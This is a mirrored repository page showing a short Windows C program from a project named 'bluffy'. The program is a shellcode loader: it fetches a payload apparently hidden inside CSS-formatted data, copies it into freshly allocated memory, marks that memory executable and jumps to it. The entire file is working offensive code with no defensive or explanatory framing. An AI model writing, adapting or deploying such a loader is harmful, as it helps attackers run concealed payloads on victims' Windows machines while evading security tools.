mirror of
https://github.com/ad-995/bluffy
synced 2026-06-08 13:03:06 +00:00
26 lines
516 B
C
26 lines
516 B
C
#include <windows.h>
|
|
#include "css.h"
|
|
|
|
int main()
|
|
{
|
|
struct cssdata* d = GetShellcodeFromCSS();
|
|
unsigned char* buf = d->shellcode;
|
|
int bufSz = d->size;
|
|
|
|
if(bufSz == 0)
|
|
{
|
|
return 1;
|
|
}
|
|
|
|
DWORD lpflOldProtect = 0;
|
|
|
|
LPVOID pAddress = VirtualAlloc(NULL, bufSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
RtlMoveMemory(pAddress, buf, bufSz);
|
|
VirtualProtect(pAddress, bufSz, PAGE_EXECUTE_READ, &lpflOldProtect);
|
|
int (*go)() = (int(*)())pAddress;
|
|
|
|
go();
|
|
|
|
return 0;
|
|
} |